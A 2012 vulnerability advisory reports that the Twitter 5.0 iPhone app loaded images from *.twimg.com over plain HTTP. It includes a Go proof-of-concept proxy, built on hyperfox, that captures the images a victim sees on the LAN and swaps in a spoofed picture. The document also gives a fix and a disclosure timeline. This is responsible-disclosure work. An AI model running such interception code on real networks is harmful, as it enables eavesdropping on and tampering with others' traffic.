## Twitter App vulnerable to eavesdropping * Vendor: Twitter Inc. * Product: Twitter 5.0 * Tested on: iPhone 4 (iOS 6.0) * Vendor notification: Nov 10, 2012. * Risk level: Low * Researcher: Carlos Reventlov * Link: http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via [Man In The Middle][1], this vulnerability can lead an attacker on the same local area network (LAN) to capture and/or modify pictures the victim is seeing on the Twitter app. ### Details The Twitter app communicates with the Twitter API via HTTPs connections, however, picture images server by *.twimg.com are received through simple HTTP. ### Proof of concept Read http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm to see the PoC's screen captures. This custom [hyperfox][2] server will listen on `:9999`. This PoC captures pictures the user is seeing and sends a bogus picture (`spoof.jpg`) instead of the original. Read the [hyperfox][2] docs to know how to launch this PoC. Only images on the *.twimg.com domain are targeted. ```go /* Twitter App, eavesdroping PoC Written by Carlos Reventlov <carlos@reventlov.com> License MIT */ package main import ( "fmt" "github.com/xiam/hyperfox/proxy" "github.com/xiam/hyperfox/tools/logger" "io" "log" "os" "path" "strconv" "strings" ) const imageFile = "spoof.jpg" func init() { _, err := os.Stat(imageFile) if err != nil { panic(err.Error()) } } func replaceAvatar(pr *proxy.ProxyRequest) error { stat, _ := os.Stat(imageFile) image, _ := os.Open(imageFile) host := pr.Response.Request.Host if strings.HasSuffix(host, "twimg.com") == true { if pr.Response.ContentLength != 0 { file := "saved" + proxy.PS + pr.FileName var ext string contentType := pr.Response.Header.Get("Content-Type") switch contentType { case "image/jpeg": ext = ".jpg" case "image/gif": ext = ".gif" case "image/png": ext = ".png" case "image/tiff": ext = ".tiff" } if ext != "" { fmt.Printf("** Saving image.\n") os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755)) fp, _ := os.Create(file) if fp == nil { fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file)) } io.Copy(fp, pr.Response.Body) fp.Close() pr.Response.Body.Close() } } fmt.Printf("** Sending bogus image.\n") pr.Response.ContentLength = stat.Size() pr.Response.Header.Set("Content-Type", "image/jpeg") pr.Response.Header.Set("Content-Length", strconv.Itoa(int(pr.Response.ContentLength))) pr.Response.Body = image } return nil } func main() { p := proxy.New() p.AddDirector(logger.Client(os.Stdout)) p.AddInterceptor(replaceAvatar) p.AddLogger(logger.Server(os.Stdout)) var err error err = p.Start() if err != nil { log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error())) } } ``` ### Suggested fix Use HTTPs for serving *.twimg.com images so that an attacker would not be able to capture or modify avatars or (possible private) uploaded images. ## Disclosure timeline * Nov 10, 2012 Vulnerability discovered. * Nov 10, 2012 Vendor contacted. * Nov 15, 2012 Vendor response: "planned to be fixed on next release". * Nov 15, 2012 New release 5.1, bug is patched. * Nov 16, 2012 Full disclosure. [1]: http://en.wikipedia.org/wiki/Man-in-the-middle_attack [2]: http://reventlov.com/projects/hyperfox